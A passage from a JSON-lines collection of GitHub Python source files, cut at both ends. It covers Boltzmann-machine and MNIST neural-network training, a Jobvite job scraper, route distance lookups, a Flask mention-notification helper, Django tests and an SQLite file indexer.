dbm_predict.sample_layers()[-1]\n        Y_hat = np.mean(Y_hat_gibbs, axis=2)\n        y_hat = np.argmax(Y_hat + np.random.rand(*Y_hat.shape)/10**6, axis=1)\n        r_err.append(np.mean(y_hat != y[indx_data]))\n\n        E.append(np.mean(dbm.cal_E()))\n    plt.figure()\n    plt.subplot(1,2,1)\n    plt.plot(E)\n    plt.subplot(1, 2, 2)\n    plt.plot(r_err)\n    plt.figure()\n    draw_W(dbm.Ws[0].T, image_size=[14, 14], clim_scale=1.0)\n\n\nif False:\n    size_minibatch = 100\n    dbm = DBM([X.shape[1], 10, Y.shape[1]], masks_h=[0,1,0], L=size_minibatch)\n    E=[]\n    r_err = []\n    for idx_epoch  in range(5):\n        for indx_minibatch in range(500):\n            if indx_minibatch%100==0:\n                plt.figure()\n                draw_W(dbm.Ws[0].T, image_size=[14, 14], clim_scale=0.1)\n                print(indx_minibatch)\n            indx_data = range(indx_minibatch * size_minibatch, (indx_minibatch+1) * size_minibatch)\n            dbm.Xs = [ X[indx_data, :], dbm.Xs[1], Y[indx_data, :] ]\n            dbm.update_theta(dbm.theta_grad_CD(num_pos=1,num_neg=3), lambda_grad=0.001, labmda_b=0.0001, labmda_W=0.0001)\n\n            # dbm_predict = copy.deepcopy(dbm)\n            # dbm_predict.masks_h = [0, 1, 1]\n            # dbm_predict.Xs = [ X[indx_data, :], dbm.Xs[1], dbm.Xs[2] ]\n            # num_gibbs = 20\n            # Y_hat_gibbs = np.zeros( [size_minibatch, Y.shape[1], num_gibbs] )\n            # for i in range(num_gibbs):\n            #     Y_hat_gibbs[:,:,i] = dbm_predict.sample_layers(h_order='up_down')[-1]\n            # Y_hat = np.mean(Y_hat_gibbs, axis=2)\n            # y_hat = np.argmax( Y_hat + np.random.rand( *Y_hat.shape )/10**6,  axis=1 )\n            # r_err.append(np.mean(y_hat != y[indx_data]))\n\n            E.append(np.mean(dbm.cal_E()))\n    plt.figure()\n    plt.subplot(1, 2, 1)\n    plt.plot(E)\n    plt.subplot(1, 2, 2)\n    plt.plot(r_err)\n    plt.figure()\n    draw_W(dbm.Ws[0].T, image_size=[14, 14], clim_scale=0.1)\n\n\n# % three layer\nif False:\n    size_minibatch = 20\n    num_minibatch  = X.shape[0]/size_minibatch\n    M = 14 * 14\n    # dbm = DBM([X.shape[1], Y.shape[1]], L=size_minibatch, masks_h=[0,1])\n    # dbm = DBM([X.shape[1], M], L=size_minibatch, masks_h=[0, 1])\n    dbm = DBM([X.shape[1], M, Y.shape[1]], L=size_minibatch, masks_h=[0,1,0], r_clone=[1,1,10])\n    # dbm = DBM([X.shape[1], M, Y.shape[1]], L=size_minibatch, masks_h=[0, 0, 0], r_clone=[1, 1, 10])\n    dbm_predict = DBM([X.shape[1], M, Y.shape[1]], L=size_minibatch, masks_h=[0,1,1], r_clone=[1,1,10])\n    count = 0\n    E=[]\n    r_err = []\n    for idx_epoch  in range(3):\n        for indx_minibatch in range(num_minibatch):\n            count = count + 1\n\n            indx_data = range(indx_minibatch * size_minibatch, (indx_minibatch+1) * size_minibatch)\n            # dbm.Xs = [ X[indx_data, :],  np.zeros([size_minibatch, M])]\n            dbm.Xs = [ X[indx_data, :],  np.zeros([size_minibatch, M]), Y[indx_data, :] ]\n            # dbm.Xs = [Xs_mlp[0][indx_data, :], Xs_mlp[1][indx_data, :], Y[indx_data, :]]\n            dbm.update_theta(dbm.theta_grad_CD(method_pos='gibbs'), lambda_grad=0.01, labmda_b=0.01, labmda_W=0.0005)\n\n            if indx_minibatch%500==0:\n                print(indx_minibatch)\n                draw_W(dbm.Ws[0].T, image_size=[14, 14], clim_scale=0.5)\n                plt.savefig('./temp_figs/temp_{}'.format(count))\n\n            if indx_minibatch%50==0:\n                dbm_predict.Xs = [ X[indx_data, : ],  np.zeros([size_minibatch, M]), np.zeros([size_minibatch, 10]) ]\n                dbm_predict.bs = dbm.bs\n                dbm_predict.Ws = dbm.Ws\n                num_gibbs = 40\n                Y_hat_gibbs = np.zeros( [size_minibatch, Y.shape[1], num_gibbs] )\n                for i in range(num_gibbs):\n                    Y_hat_gibbs[:,:,i] = dbm_predict.sample_layers()[-1]\n                Y_hat = np.mean(Y_hat_gibbs[:,:,num_gibbs/2:num_gibbs], axis=2)\n                y_hat = np.argmax( Y_hat + np.random.rand( *Y_hat.shape )/10**6,  axis=1 )\n                r_err.append(np.mean(y_hat != y[indx_data]))\n\n            # E.append(np.mean(dbm.cal_E()))\n            E.append(np.mean(dbm.cal_psudo_llh()))\n\n    plt.figure()\n    plt.subplot(1, 2, 1)\n    plt.plot(E)\n    plt.subplot(1, 2, 2)\n    plt.plot(r_err)\n    plt.ylabel([0,1])\n    plt.savefig('./temp_figs/train_error')\n\n\n# % four layer\nif False:\n    size_minibatch = 20\n    num_minibatch  = X.shape[0]/size_minibatch\n    M = 14 * 14\n    M1 = 64\n    # dbm = DBM([X.shape[1], Y.shape[1]], L=size_minibatch, masks_h=[0,1])\n    # dbm = DBM([X.shape[1], M], L=size_minibatch, masks_h=[0, 1])\n    dbm =         DBM([X.shape[1], M, M1, Y.shape[1]], L=size_minibatch, masks_h=[0,1,1,0], r_clone=[1,1,2,10])\n    dbm_predict = DBM([X.shape[1], M, M1, Y.shape[1]], L=size_minibatch, masks_h=[0,1,1,1], r_clone=[1,1,2,10])\n    count = 0\n    E=[]\n    r_err = []\n    for idx_epoch  in range(3):\n        for indx_minibatch in range(num_minibatch):\n            count = count + 1\n\n            indx_data = range(indx_minibatch * size_minibatch, (indx_minibatch+1) * size_minibatch)\n            # dbm.Xs = [ X[indx_data, :],  np.zeros([size_minibatch, M])]\n            dbm.Xs = [ X[indx_data, :],  np.zeros([size_minibatch, M]), np.zeros([size_minibatch, M1]), Y[indx_data, :] ]\n            dbm.update_theta(dbm.theta_grad_CD(method_pos='gibbs'), lambda_grad=0.01, labmda_b=0.01, labmda_W=0.0005)\n\n            if indx_minibatch%500==0:\n                print(indx_minibatch)\n                draw_W(dbm.Ws[0].T, image_size=[14, 14], clim_scale=0.5)\n                plt.savefig('./temp_figs/temp_{}'.format(count))\n\n            if indx_minibatch%50==0:\n                dbm_predict.Xs = [ X[indx_data, : ],  np.zeros([size_minibatch, M]), np.zeros([size_minibatch, M1]), np.zeros([size_minibatch, 10]) ]\n                dbm_predict.bs = dbm.bs\n                dbm_predict.Ws = dbm.Ws\n                num_gibbs = 20\n                Y_hat_gibbs = np.zeros( [size_minibatch, Y.shape[1], num_gibbs] )\n                for i in range(num_gibbs):\n                    Y_hat_gibbs[:,:,i] = dbm_predict.sample_layers(h_order='up_down')[-1]\n                Y_hat = np.mean(Y_hat_gibbs, axis=2)\n                y_hat = np.argmax( Y_hat + np.random.rand( *Y_hat.shape )/10**6,  axis=1 )\n                r_err.append(np.mean(y_hat != y[indx_data]))\n\n            E.append(np.mean(dbm.cal_E()))\n\n    plt.figure()\n    plt.subplot(1, 2, 1)\n    plt.plot(E)\n    plt.subplot(1, 2, 2)\n    plt.plot(r_err)\n    plt.savefig('./temp_figs/train_error')\n    # plt.figure()\n    # draw_W(dbm.Ws[0].T, image_size=[14, 14], clim_scale=0.5)\n\n\nif False:\n    # indx_minibatch=2\n    # indx_data = range(indx_minibatch * size_minibatch, (indx_minibatch + 1) * size_minibatch)\n    # dbm.Xs = [X[indx_data, :], np.zeros([size_minibatch, M])]\n    dbm_sample = DBM(dbm.widths, L=1, masks_h=[1,1], Xs_ini=None, bs_ini=dbm.bs, Ws_ini=dbm.Ws)\n    N_sample = 100\n    N_gap    = 5\n    samples = np.zeros([N_sample, X.shape[1]])\n    for i_sample in range(N_sample):\n        samples[i_sample, :] = dbm_sample.Xs[0][0, :]\n        for i_gap in range(N_gap):\n            dbm_sample.sample_layers()\n        dbm_sample.sample_layer(h=0, tf_keep_p=True)\n    draw_W(samples.T)\n\nif False:   # three layers\n    for label in range(10):\n        dbm_sample = DBM(dbm.widths, L=1, masks_h=[1,1,0], Xs_ini=None, bs_ini=dbm.bs, Ws_ini=dbm.Ws, r_clone=[1,1,10])\n        dbm_sample.Xs[-1] = gen_label_array([label], K=10)\n        dbm_sample.Xs[0] = dbm_sample.Xs[0]*0\n        dbm_sample.Xs[1] = dbm_sample.Xs[1]*0\n        N_sample = 100\n        N_gap    = 20\n        samples = np.zeros([N_sample, X.shape[1]])\n        for i_sample in range(N_sample):\n            samples[i_sample, :] = dbm_sample.sample_layer(h=0, tf_keep_p=True, tf_inplace=False)\n            for i_gap in range(N_gap):\n                dbm_sample.sample_layers(r_sample=1.0)\n        draw_W(samples.T)\n        plt.savefig('./temp_figs/sample_{}'.format(label))\n        plt.close()\n\nif False:  # four layers\n    for label in range(10):\n        dbm_sample = DBM(dbm.widths, L=1, masks_h=[1, 1, 1, 0], Xs_ini=None, bs_ini=dbm.bs, Ws_ini=dbm.Ws,\n                         r_clone=[1, 1, 2, 10])\n        dbm_sample.Xs[-1] = gen_label_array([label], K=10)\n        dbm_sample.Xs[0] = dbm_sample.Xs[0] * 0\n        dbm_sample.Xs[1] = dbm_sample.Xs[1] * 0\n        dbm_sample.Xs[2] = dbm_sample.Xs[2] * 0\n        N_sample = 100\n        N_gap = 20\n        samples = np.zeros([N_sample, X.shape[1]])\n        for i_sample in range(N_sample):\n            samples[i_sample, :] = dbm_sample.sample_layer(h=0, tf_keep_p=True, tf_inplace=False)\n            for i_gap in range(N_gap):\n                dbm_sample.sample_layers(r_sample=1.0)\n        draw_W(samples.T)\n        plt.savefig('./temp_figs/sample_{}'.format(label))\n    plt.close()\n\n\n# test Multi-layer perceptron\nif False:\n    mlp = MLPClassifier(hidden_layer_sizes=(14*14,), activation='logistic', max_iter=20, alpha=1e-4,\n                        solver='sgd', verbose=10, tol=1e-4, random_state=1,\n                        learning_rate_init=.1)\n    mlp.fit(X, y)\n    draw_W(mlp.coefs_[0])\n    Xs_mlp = mlp_eval(mlp, X, tf_keep_p=False)\n    print( 1- np.mean(np.argmax(Xs_mlp[-1], axis=1) == y) )\n\n\n# run DBM\n","repo_name":"SummitKwan/CS242_project_generative_neura_network","sub_path":"DBM.py","file_name":"DBM.py","file_ext":"py","file_size_in_byte":26753,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"72783894911","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct  3 01:35:45 2018\n\n@author: Mithilesh\n\"\"\"\n\ndef killer(n,k,x):\n    arr=[]\n    temp=arr.index(x)\n    for i in range(1,n+1):\n        arr.append(i%k)\n    print(arr)\n    while True:\n        ind=temp+arr[temp]\n        if ind<=n:\n            if arr[ind]!=-1:\n                arr[ind]=-1\n                temp=arr.index()\n        \n    \nn,k,x=map(int,input().split())\nkiller(n,k,x)\n                ","repo_name":"abhaykatheria/cp","sub_path":"HackerEarth/Killer.py","file_name":"Killer.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"580578797","text":"# pip install openrouteservice\nimport config\nimport openrouteservice\nfrom openrouteservice.distance_matrix import distance_matrix\nimport pandas as pd\n\ndef ors(client, loc, profile):\n    return distance_matrix(client, locations = loc, profile = profile, \n                        destinations = [1], metrics = ['distance', 'duration'], units = \"km\")\n\n# dest = [longitude, latitude]\n# geisel = [-117.2376,32.8811]\n# profiles = [“driving-car”, “foot-walking”, “cycling-regular”]\n# 500 request per 40 min\ndef commute_time(df, dest_name, dest, profile):\n    # import API\n    client = openrouteservice.Client(key = config.api_key)\n    result = df\n    \n    dist = []\n    time = []\n    for i, row in df.iterrows():\n        loc = [[row['lon'], row['lat']], dest]\n        res = ors(client, loc, profile)\n        dist.append(res['distances'][0][0])\n        time.append(res['durations'][0][0])\n\n    result[\"To_{}_dist(km)\".format(dest_name)] = dist\n    result[\"To_{}_time(min)\".format(dest_name)] = [x / 60 for x in time]\n    \n    return result\n\n","repo_name":"FleischerResearchLab/CRJA-analysis","sub_path":"src/route.py","file_name":"route.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"34521153615","text":"import requests\nimport sys\nimport time\nimport random\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nsys.path.insert(0, \".\")\nfrom src.job_boards.helpers import ProcessCompanyJobData, user_agents\n\n\nprocess_data = ProcessCompanyJobData()\nFILE_PATH = \"src/data/params/jobvite.txt\"\n\n\ndef get_results(item: str, name: str):\n    soup = BeautifulSoup(item, \"lxml\")\n    results = soup.find_all(\n        class_=\"jv-job-list\") if soup.find_all(class_=\"jv-job-list\") else None\n    company = soup.find(\"title\").text.replace(\"Careers\", \"\").replace(\n        \"| Available job openings\", \"\").replace(\"Job listings |\", \"\").strip() if soup.find(\"title\") else None\n    logo = soup.find(class_=\"logo\")[\"src\"] if soup.find(\n        class_=\"logo\", src=True) else None\n    if results and company:\n        for r in results:\n            title = r.find(class_=\"jv-job-list-name\").text.strip() if r.find(\n                class_=\"jv-job-list-name\") else r.find(\"a\").text.strip()\n            date = datetime.strftime(datetime.now(), \"%Y-%m-%d %H:%M:%S\")\n            post_date = datetime.timestamp(\n                datetime.strptime(str(date), \"%Y-%m-%d %H:%M:%S\"))\n            apply_url = \"https://jobs.jobvite.com\" + \\\n                r.find(\"a\")[\"href\"].strip()\n            company_name = company\n            position = title\n            location = r.find(\"td\", class_=\"jv-job-list-location\").text.strip() if r.find(\n                \"td\", class_=\"jv-job-list-location\") else \"See description for location\"\n            process_data.filter_jobs({\n                \"timestamp\": post_date,\n                \"title\": position,\n                \"company\": company_name,\n                \"company_logo\": logo,\n                \"url\": apply_url,\n                \"location\": location,\n                \"source\": company_name,\n                \"source_url\": f\"https://jobs.jobvite.com/careers/{name}\"\n            })\n\n\ndef get_url(companies: list):\n    count = 1\n    for name in companies:\n        headers = {\"User-Agent\": random.choice(user_agents)}\n        url = f\"https://jobs.jobvite.com/{name}/search\"\n        try:\n            response = requests.get(url, headers=headers)\n            if response.ok:\n                get_results(response.text, name)\n            elif response.status_code == 404:\n                process_data.remove_not_found(FILE_PATH, name)\n            else:\n                res = requests.get(\n                    f\"https://jobs.jobvite.com/{name}/jobs\", headers=headers)\n                if res.ok:\n                    get_results(res.text, name)\n                else:\n                    print(\n                        f\"=> jobvite: Scrape failed for {name}. Status code: {res.status_code}\")\n        except:\n            print(\"=> jobvite: Connection error:\", name)\n        if count % 20 == 0:\n            time.sleep(5)\n        else:\n            time.sleep(0.2)\n        count += 1\n\n\ndef main():\n    companies = process_data.read_list_of_companies(FILE_PATH)\n    get_url(companies)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"raaudain/devjobs","sub_path":"src/job_boards/jobvite.py","file_name":"jobvite.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"39268234118","text":"############################################################\n#\n#   サウンドミキサー\n#\n############################################################\n#\nfrom SoundFilter import SoundFilter\nimport numpy as np\n\n\nclass FltMixer(SoundFilter):\n    def __init__(self):\n        super().__init__()\n        self.sound_source = []\n\n    def set_sound(self, source):\n        \"\"\"\n        波形データの入力元をセットする\n        :param source:波形データの入力元\n        :return:\n        \"\"\"\n        self.sound_source.append(source)\n\n    def remove_sound(self, source):\n        \"\"\"\n        指定した波形データの入力元を削除する\n        :param source:波形データの入力元\n        :return:\n        \"\"\"\n        self.sound_source.remove(source)\n\n    def update(self, *args):\n        \"\"\"\n        データを合成する\n        :return:\n        \"\"\"\n        data_sum = np.zeros(self.CHUNK)\n        for sound in self.sound_source:\n            sound.update()\n            data = sound.get_data()\n            print(\"data[0]={0}\".format(data[0]))\n            data_sum = data_sum + data\n\n        print(\"mixer.update\")\n        print(\"data_sum[0]={0}\".format(data_sum[0]))\n        self.data = data_sum\n","repo_name":"keinafarm/SoundLand","sub_path":"FltMixer.py","file_name":"FltMixer.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"47190171299","text":"from django.test import TestCase\n\n# Create your tests here.\nfrom django import urls\nfrom django.db.models.fields import AutoField\nfrom django.test import TestCase,SimpleTestCase\nfrom django.urls import resolve, reverse\nfrom DoctorPatient.views import *\nfrom DoctorPatient.models import *\nimport unittest\nfrom django.test.client import RequestFactory\n\n\n\nclass TestUrls(unittest.TestCase):\n\n    def test_list_url_is_resolved(self):\n        url=reverse('home')\n        print(\"HOME PAGE TEST ++++++++++++++>\")\n        print(resolve(url))\n\nclass doctortest(TestCase):\n\n    def test_doctorlogin(self):\n       item=DoctorFormModel()\n       item.ID=1\n       item.name='kevyn123'\n       item.DoctorID='332531235'\n       item.password='101010'\n       item.doctorName='Kevyn Krancenblum'\n       item.save()\n       record=DoctorFormModel.objects.get(ID=item.ID,DoctorID=item.DoctorID,password=item.password,name=item.name,doctorName=item.doctorName)\n       self.assertEqual(record,item)\n\nclass Patienttest(TestCase):\n    def test_patient_result(self):\n        item=PatientsymptomesModel()\n        item.ID=3\n        item.name='keke'\n        item.password='123456'\n        item.taz='315199059'\n        item.smoke=\"yes\"\n        item.age = \"53\"\n        item.Origine = \"Middle East\"\n        item.message = ''\n        item.alk_phos = 100\n        item.hdl = 29\n        item.iron = 53\n        item.creat =6.04\n        item.hb = 59\n        item.urea =9\n        item.hct = 12\n        item.rbc = 0.58\n        item.lymph = 135\n        item.neut =80\n        item.wbc = 29\n        item.gender = \"male\" \n        item.DoctorDescript = \"nothing\"\n        item.testresult='nothing'\n        item.Treatement=''\n        item.save()\n        symptomesformchecktest(item)\n        result={\n        'data': []\n        }\n        result['data'].append({\n              'testresult':item.testresult,\n            }) \n        print(result)  \n","repo_name":"KevynKrancen/Myprojects","sub_path":"ProjectDoc/DoctorPatient/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74353691072","text":"# coding:utf-8\n'''\nCreated on 2017/9/15.\n\n@author: chk01\n'''\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.contrib.tensor_forest.client import random_forest\n\nmodel_dir = 'temp/summary'\n\nparams = tf.contrib.tensor_forest.python.tensor_forest.ForestHParams(\n    num_trees=3, max_nodes=1000, num_classes=3, num_features=2)\n\nclassifier = random_forest.TensorForestEstimator(params, model_dir=model_dir)\n\n# load data\niris = tf.contrib.learn.datasets.load_iris()\ndata = iris.data.astype(np.float32)\n# numpy.ndarray (150,4)\n\ntarget = iris.target.astype(np.int)\n\n\n# numpy.ndarray (150,)\n\n\ndef train_input_fn():\n    feature_cols = tf.SparseTensor(indices, values, dense_shape)\n\n    # Add example id list\n    # Converts the label column into a constant Tensor.\n    label = tf.constant(target)\n    # Returns the feature columns and the label.\n    return feature_cols, label\n\n\n# ss, tt = train_input_fn()\nclassifier.fit(input_fn=train_input_fn, steps=100)\n# classifier.evaluate(x=data, y=target, steps=10)\n","repo_name":"DxqS/neuling","sub_path":"test/forestTest2.py","file_name":"forestTest2.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37994274397","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author: xuezaigds@gmail.com\n# @Last Modified time: 2016-09-07 20:45:10\nfrom datetime import datetime\nimport re\nfrom flask import url_for\nfrom .voice import voice as voice_blueprint\nfrom models import User, Notify\nfrom . import db\nfrom flask_babel import gettext\n\n\ndef add_user_links_in_content(content_rendered):\n    \"\"\" Replace the @user with the link of the user.\n\n    :param content_rendered: the content after rendering by markdown.\n    \"\"\"\n    for at_name in re.findall(r'@(.*?)(?:\\s|</\\w+>)', content_rendered):\n        receiver_u = User.query.filter_by(username=at_name).first()\n        # There is no such a uer.\n        if not receiver_u:\n            continue\n\n        # Add links to the @user field.\n        content_rendered = re.sub(\n            '@%s' % at_name,\n            '@<a href=\"%s\" class=\"mention\">%s</a>' % (url_for('user.info', uid=receiver_u.id), at_name),\n            content_rendered)\n\n    return content_rendered\n\n\ndef update_notify_in_topic(new_content, sender_id, topic_id):\n    \"\"\" Update the notify when re-edit a topic.\n    \"\"\"\n\n    # Delete all the old notify generated by the this topic.\n    old_notifies = Notify.query.filter_by(topic_id=topic_id).all()\n    old_notifies = list(filter(lambda x: not x.comment_id and not x.append_id, old_notifies))\n    map(lambda x: setattr(x, 'topic_deleted', True), old_notifies)\n\n    # Add new notify generated by the new content of this topic.\n    add_notify_in_content(new_content, sender_id, topic_id)\n\n\ndef add_notify_in_content(content, sender_id, topic_id, comment_id=None, append_id=None):\n    \"\"\" Generate notify object from the content the user submit.\n    \"\"\"\n\n    valid_receiver = []\n    for at_name in re.findall(r'@(.*?)(?:\\s|$)', content):\n        # Filter the invalid @user.\n        receiver_u = User.query.filter_by(username=at_name).first()\n        if receiver_u:\n            valid_receiver.append(receiver_u)\n\n    # Remove duplicated notify in one section.\n    valid_receiver = set(valid_receiver)\n    all_notifies = []\n    for u in valid_receiver:\n        all_notifies.append(Notify(sender_id=sender_id, receiver_id=u.id,\n                                   topic_id=topic_id, comment_id=comment_id, append_id=append_id))\n\n    for new_notify in all_notifies:\n        db.session.add(new_notify)\n\n    db.session.commit()\n\n    # Now we can get the notify's id (primary key).\n    for i, u in enumerate(valid_receiver):\n        if u.unread_notify:\n            u.unread_notify = \"%d,%s\" % (all_notifies[i].id, u.unread_notify)\n        else:\n            u.unread_notify = \"%d\" % all_notifies[i].id\n\n    # Add notifies to all the receiver's data set.\n    db.session.commit()\n\n\n@voice_blueprint.app_template_filter()\ndef natural_time(dt):\n    \"\"\" Returns string representing \"time since\", 3 days ago, 5 hours ago etc.\n\n    For datetime values, returns a string representing how many seconds,\n    minutes or hours ago it was – falling back to the timesince format\n    if the value is more than a day old.\n    \"\"\"\n    now = datetime.now()\n    # print \"-->\", now   2016-07-18 09:27:25.840414\n    # print \"---\", dt    2016-07-18 09:27:26\n    # The dt is truncated to seconds when saved in mysql.  So sometimes now may be small than dt.\n    diff = now - dt if now >= dt else now - now\n\n    periods = (\n        (diff.days / 365, gettext(\"year\"), gettext(\"years\")),\n        (diff.days / 30, gettext(\"month\"), gettext(\"months\")),\n        (diff.days / 7, gettext(\"week\"), gettext(\"weeks\")),\n        (diff.days, gettext(\"day\"), gettext(\"days\")),\n        (diff.seconds / 3600, gettext(\"hour\"), gettext(\"hours\")),\n        (diff.seconds / 60, gettext(\"minute\"), gettext(\"minutes\")),\n        (diff.seconds, gettext(\"second\"), gettext(\"seconds\")),\n    )\n\n    for period, singular, plural in periods:\n        if period:\n            return \"%d %s%s\" % (period, singular if period == 1 else plural, gettext(' ago'))\n\n    return gettext(\"just now\")\n","repo_name":"selfboot/NaHan","sub_path":"nahan/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":116,"dataset":"github-code","pt":"60"}
+{"seq_id":"32249846573","text":"import os\nimport sqlite3\nimport random\nimport re\n\nimport lib\n\n# ------------------------------------------------------------------\n\nconn = sqlite3.connect('database.db')\n\n# ------------------------------------------------------------------\n\nwith conn:\n    con = conn.cursor()\n    \n    # отбираем 1000 каталогов которые не сканировали последние сутки\n    rows = con.execute('SELECT dir_path,dir_hash FROM dirs WHERE dir_scan_time < ? ORDER BY dir_scan_time DESC LIMIT 1000',(lib.time_now()-24*60*60,)).fetchall()\n    \n    # перемешиваем каталоги перед обработкой для исключения белых пятен\n    random.shuffle(rows)\n    \n    # бежим по выборке из каталогов\n    for path,hash in rows:\n        # прерываем, если больше минуты работаем\n        if lib.run_time() > 60:\n            break\n        \n        try:\n            # бежим по элементам текущего каталога\n            with os.scandir('static/files/' + path) as it:\n                \n                # прерываем, если больше минуты скрипт работает\n                if lib.run_time() > 60:\n                    break\n                \n                for entry in it:\n                    p = entry.path[13:].replace('\\\\','/')\n                    h = lib.path_to_hash(p)\n                    t = lib.time_now()\n                    \n                    if entry.is_dir():\n                        try:\n                            # добавляем новый каталог в базу\n                            con.execute('INSERT INTO dirs (dir_path,dir_hash) VALUES (?,?)',(p,h))\n                        except:\n                            pass\n                    elif entry.is_file():\n                        \n                        try:\n                            # добавляем новый файл и берем его номер\n                            file_rowid = con.execute('INSERT INTO files (file_path,file_hash,file_ok_time) VALUES (?,?,?)',(p,h,t)).lastrowid\n                            \n                            # бежим по словам из пути к файлу\n                            for w in lib.split_text(p):\n                                if len(w) > 0:\n                                    try:\n                                        # добавляем новое слово и берем его номер\n                                        word_rowid = con.execute('INSERT INTO words (word) VALUES (?)',(w,)).lastrowid\n                                    except:\n                                        # слово уже есть. Берем его номер\n                                        word_rowid = con.execute('SELECT ROWID FROM words WHERE word = ?',(w,)).fetchone()[0]\n                                    \n                                    try:\n                                        # сохраняем в индексе пару файл-слово\n                                        con.execute('INSERT INTO `index` (file_rowid,word_rowid) VALUES (?,?)',(file_rowid,word_rowid))\n                                    except:\n                                        pass\n                        except:\n                            # файл уже есть в базе. Обновляем его время доступности\n                            con.execute('UPDATE files SET file_ok_time=? WHERE file_hash=?',(t,h))\n            \n            # удачно сканировали папку\n            con.execute('UPDATE dirs SET dir_scan_time=?, dir_ok_time=? WHERE dir_hash=?',(lib.time_now(),lib.time_now(),hash))\n            \n        except:\n            # неудачно сканировали папку\n            con.execute('UPDATE dirs SET dir_scan_time=? WHERE dir_hash=?',(lib.time_now(),hash))\n            \n    for tab in ('dirs','files','`index`','words'):\n        print(tab,conn.execute('SELECT count(*) FROM ' + tab).fetchone())\n    \n        ","repo_name":"prog815/lindex3","sub_path":"scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20489303833","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \nkeras = tf.keras\n\n#%% Initialization\ndef initialize_one_hot_encoded_y(x: np.ndarray):\n    \"\"\"Encodes the y values to binary vectors to represent categories.\"\"\"\n    array = np.zeros((x.shape[0], 10))\n    for num in range(10):\n        for indiv in range(500):\n            array[(num*500) + indiv][num] = 1\n\n    return array\n\ndef initialize_real_y():\n    \"\"\"Returns the real y values (non-binary). Just an array, not nd-array.\"\"\"\n    array = np.array([])\n    for i in range(0, 10):\n        array = np.concatenate((array, np.ones(500) * i))\n    return array\n\ndef generate_data(X, y, real_y, percent_training, percent_validation, percent_testing, num_examples):\n    \"\"\"Generates data off of number of each example.\"\"\"\n\n    num_training = int(percent_training * num_examples)\n    num_validation = int(percent_validation * num_examples)\n    num_testing = int(percent_testing * num_examples)\n\n    combined_data:np.ndarray = np.hstack((X, y, real_y))\n    np.random.shuffle(combined_data)\n\n    training_X = combined_data[:num_training,:400]\n    training_y = combined_data[:num_training,400:410]\n    training_real_y = combined_data[:num_training,410].tolist()\n\n    validation_X = combined_data[num_training:num_training + num_validation,:400]\n    validation_y = combined_data[num_training:num_training + num_validation,400:410]\n    validation_real_y = combined_data[num_training:num_training + num_validation,410].tolist()\n\n    testing_X = combined_data[num_training + num_validation:num_training + num_validation + num_testing,:400]\n    testing_y = combined_data[num_training + num_validation:num_training + num_validation + num_testing,400:410]\n    testing_real_y = combined_data[num_training + num_validation:num_training + num_validation + num_testing,410].tolist()\n\n    return training_X, training_y, training_real_y, validation_X, validation_y, validation_real_y, testing_X, testing_y, testing_real_y\n\ndef graph_cost_accuracy(returned_history, epochs):\n    \"\"\"Graphs the cost and accuracy of the neural network.\"\"\"\n    plt.xlabel(\"Epoch\")\n    plt.ylabel(\"Cost\")\n    plt.title(\"Training and Validation Cost vs. Epochs\")\n\n    plt.plot(np.arange(epochs), returned_history.history[\"loss\"], label = \"Training Cost\")\n    plt.plot(np.arange(epochs), returned_history.history[\"val_loss\"], label = \"Validation Cost\")\n    plt.plot(np.arange(epochs), returned_history.history[\"accuracy\"], label = \"Training Accuracy\")\n    plt.plot(np.arange(epochs), returned_history.history[\"val_accuracy\"], label = \"Validation Accuracy\")\n    plt.legend()\n    plt.show()\n\n#%% Running\n\n# numpy array\nX: np.ndarray = np.loadtxt('C:\\\\Users\\\\swguo\\\\VSCode Projects\\\\Machine Learning\\\\Neural Networks\\\\First MNIST ANN\\\\digitsData.txt', delimiter = ',')\n# LOAD DATA\nX: np.ndarray = np.loadtxt('C:\\\\Users\\\\swguo\\\\VSCode Projects\\\\Machine Learning\\\\Neural Networks\\\\First MNIST ANN\\\\digitsData.txt', delimiter = ',')\ny = initialize_one_hot_encoded_y(X)\nreal_y = np.reshape(initialize_real_y(), (-1,1))\n\n# INITIALIZE DATA\npercent_training = 0.7\npercent_validation = 0.2\npercent_testing = 0.1\nnum_examples = 5000\ntraining_X, training_y, training_real_y, validation_X, validation_y, validation_real_y, testing_X, testing_y, testing_real_y = generate_data(X, y, real_y, percent_training, percent_validation, percent_testing, num_examples)\n\ntraining_real_y = np.reshape(training_real_y, (-1, 1)) # transposed, 2d\nvalidation_real_y = np.reshape(validation_real_y, (-1, 1)) \ntesting_real_y = np.reshape(testing_real_y, (-1, 1)) \n\nmodel = keras.Sequential([\n  keras.layers.Dense(80, input_shape=(400,), activation=\"sigmoid\"),\n  keras.layers.Dense(25, activation=\"sigmoid\"),\n  keras.layers.Dense(10, activation=\"softmax\")\n])\n\n# Sparse cc uses integer labels, cc uses 1hot-encoded labels\nmodel.compile(optimizer=\"adam\", loss=\"sparse_categorical_crossentropy\", metrics=[\"accuracy\"])\n\nepochs = 